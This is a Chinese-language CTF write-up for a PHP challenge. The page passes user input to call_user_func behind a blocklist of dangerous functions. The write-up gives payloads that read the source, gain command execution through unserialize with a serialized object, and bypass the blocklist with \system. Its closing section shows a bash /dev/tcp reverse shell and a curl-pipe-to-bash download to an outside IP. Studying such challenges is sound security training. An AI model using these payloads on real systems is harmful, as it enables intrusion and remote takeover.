题解:
一,打开网页后得到一串报错,我们抓个包看下什么情况
看了一眼bp里面的内容,以post的形式传两个参数,我们猜测
func=date&p=Y-m-d+h%3Ai%3As+a
前面的参数主要传递函数类型
后面的参数传递内容,我们直接尝试访问index.php的内容
func=file_get_contents&p=index.php得到index.php内容
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法
我们直接得到源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
分析源码,他一来就屏蔽了很多危险函数,然后构造了方法,这里
call_user_func - 返回一个自定义用户函数给出的第一个参数 函数定义 mixed call_user_func(回调 函数名 [,混合 参数 [,混合$ ...]])调用用户定义函数来确定函数参数。参数 零个或多个参数传递给函数。返回值为函数执行参数后的结果
注意: 对于call_user_func(参数)不按引用传递。
gettype是以string gettype ( mixed var )为函数原型的一种计算机运算方法。描述 string gettype ( mixed var )返回PHP变量的类型。
所以就是传入两个参数,如果符合条件就会在结尾用到__destruct()函数执行,最终返回结果.然后就是熟悉的序列化和反序列化过程,首先构造序列化函数查看目录.也可用直接使用find / -name flag*命令查看所有带flag字符的文件.
<?php
class Test {
var $p = "ls /";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
$b = serialize(@$a);
echo $b;
?>
</p>
更改func和p的值,查看目录下的内容
Payload为func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
找到tmp下有一个名为 flagoefiu4r93的文件,直接cat看一下
得到flag为flag{a4b5e6f3-1cd8-4eb9-840b-2bd331b46556}
拓展:
这里看别人wp还能使用命名空间绕过:
func=\system p=find / -name flag* func=\system p=cat /xx/flag
使用 \system 或者 @system 绕过黑名单,进而执行命令
加 \ 指定根命名空间
加 @ 抑制错误显示
@ 运算符只对表达式有效。对新手来说一个简单的规则就是:如果能从某处得到值,就能在它前面加上 @ 运算符。例如,可以把它放在变量,函数和 include() 调用,常量,等等之前。不能把它放在函数或类的定义之前,也不能用于条件结构例如 if 和 foreach 等。 目前的“@”错误控制运算符前缀甚至使导致脚本终止的严重错误的错误报告也失效。这意味着如果在某个不存在或类型错误的函数调用前用了“@”来抑制错误信息,那脚本会没有任何迹象显示原因而死在那里。
还有一个我不懂的:
nc -lvnp 9002
echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash
直接post传参(进行url编码)
system()调用/bin/sh,而它指向dash shell (仅指我测试的)
# 查看/bin/sh指向
ls -l /bin/sh
# lrwxrwxrwx 1 root root 4 Apr 23 2020 /bin/sh -> dash
dash中自然需要适合自己的语法,而bash -i >& /dev/tcp/49.232.213.200/9000 0>&1不符合其语法,所以需要指定其他shell(如bash)来执行反弹shell(或者想办法搞出一个dash反弹shell)
func=\system&p=echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash
bash -c "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"
或者远程shell
func=\system&p=curl http://49.232.213.200/1.txt|bash